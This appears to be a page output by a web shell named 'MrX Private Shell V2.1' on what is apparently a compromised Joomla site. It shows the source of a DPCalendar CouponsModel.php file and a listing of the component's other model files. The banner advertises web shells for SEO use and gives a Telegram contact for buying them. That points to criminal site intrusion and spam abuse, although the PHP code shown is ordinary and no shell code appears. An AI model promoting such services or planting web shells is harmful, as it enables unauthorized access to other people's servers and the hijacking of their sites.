__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package DPCalendar
* @copyright Copyright (C) 2020 Digital Peak GmbH. <https://www.digital-peak.com>
* @license https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
*/
namespace DigitalPeak\Component\DPCalendar\Administrator\Model;
\defined('_JEXEC') or die();
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Utilities\ArrayHelper;
class CouponsModel extends ListModel
{
public function __construct($config = [], ?MVCFactoryInterface $factory = null)
{
if (empty($config['filter_fields'])) {
$config['filter_fields'] = [
'id',
'a.id',
'checked_out',
'a.checked_out',
'code',
'a.code',
'state',
'a.title',
'title',
'a.state',
'created',
'a.created',
'created_by',
'a.created_by',
'ordering',
'a.ordering'
];
}
parent::__construct($config, $factory);
}
protected function populateState($ordering = null, $direction = null)
{
// Load the filter state.
$search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$published = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string');
$this->setState('filter.state', $published);
$authorId = $this->getUserStateFromRequest($this->context . '.filter.author_id', 'filter_author_id');
$this->setState('filter.author_id', $authorId);
$app = Factory::getApplication();
$this->setState('params', $app instanceof SiteApplication ? $app->getParams() : ComponentHelper::getParams('com_dpcalendar'));
// List state information
parent::populateState('a.id', 'asc');
}
protected function getStoreId($id = '')
{
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.code');
$id .= ':' . $this->getState('filter.state');
return parent::getStoreId($id);
}
protected function getListQuery()
{
// Create a new query object
$db = $this->getDatabase();
$query = $db->getQuery(true);
$this->getCurrentUser();
// Select the required fields from the table
$query->select($this->getState('list.select', 'a.*'));
$query->from('#__dpcalendar_coupons AS a');
// Join over the users for the checked out user
$query->select('uc.name AS editor');
$query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');
// Join over the users for the author
$query->select('ua.name AS author_name');
$query->join('LEFT', '#__users AS ua ON ua.id = a.created_by');
// Filter by published state
$published = $this->getState('filter.state');
if (is_numeric($published)) {
$query->where('a.state = ' . (int)$published);
} elseif ($published === '') {
$query->where('(a.state IN (0, 1))');
}
// Filter by author
$authorId = $this->getState('filter.author_id');
if (is_numeric($authorId)) {
$type = $this->getState('filter.author_id.include', true) ? '= ' : '<>';
$query->where('a.created_by ' . $type . (int)$authorId);
}
// Filter by search in title
$search = $this->getState('filter.search');
if (!empty($search)) {
if (stripos((string)$search, 'ids:') === 0) {
$ids = explode(',', substr((string)$search, 4));
$ids = ArrayHelper::toInteger($ids);
$query->where('a.id in (' . implode(',', $ids) . ')');
} elseif (stripos((string)$search, 'id:') === 0) {
$query->where('a.id = ' . (int)substr((string)$search, 3));
} else {
$search = $db->quote('%' . $db->escape($search, true) . '%');
$query->where('(a.title LIKE ' . $search . ' or a.code LIKE ' . $search . ')');
}
}
// Filter on the author.
if ($createdBy = $this->getState('filter.created_by')) {
$query->where('a.created_by = ' . $db->quote($createdBy));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
if (!empty($orderCol)) {
$query->order($db->escape($orderCol . ' ' . $orderDirn));
}
return $query;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| BookingsModel.php | File | 10.01 KB | 0664 |
|
| CaldavModel.php | File | 1.97 KB | 0664 |
|
| CalendarModel.php | File | 2.01 KB | 0664 |
|
| CountriesModel.php | File | 3.99 KB | 0664 |
|
| CountryModel.php | File | 2.86 KB | 0664 |
|
| CouponModel.php | File | 3.76 KB | 0664 |
|
| CouponsModel.php | File | 4.04 KB | 0664 |
|
| CpanelModel.php | File | 4.28 KB | 0664 |
|
| CurrencyModel.php | File | 4.32 KB | 0664 |
|
| EventModel.php | File | 30.82 KB | 0664 |
|
| EventsModel.php | File | 14.41 KB | 0664 |
|
| ExtcalendarModel.php | File | 5.59 KB | 0664 |
|
| ExtcalendarsModel.php | File | 4.92 KB | 0664 |
|
| FieldsOrderModel.php | File | 5.9 KB | 0664 |
|
| GeoModel.php | File | 19.71 KB | 0664 |
|
| IcalModel.php | File | 14.81 KB | 0664 |
|
| ImportModel.php | File | 7.37 KB | 0664 |
|
| LayoutModel.php | File | 704 B | 0664 |
|
| LocationModel.php | File | 12.06 KB | 0664 |
|
| LocationsModel.php | File | 8.94 KB | 0664 |
|
| PluginModel.php | File | 784 B | 0664 |
|
| TaxrateModel.php | File | 4.62 KB | 0664 |
|
| TaxratesModel.php | File | 4.33 KB | 0664 |
|
| TicketsModel.php | File | 10.21 KB | 0664 |
|
| ToolsModel.php | File | 1.61 KB | 0664 |
|
| VersionModel.php | File | 2.5 KB | 0664 |
|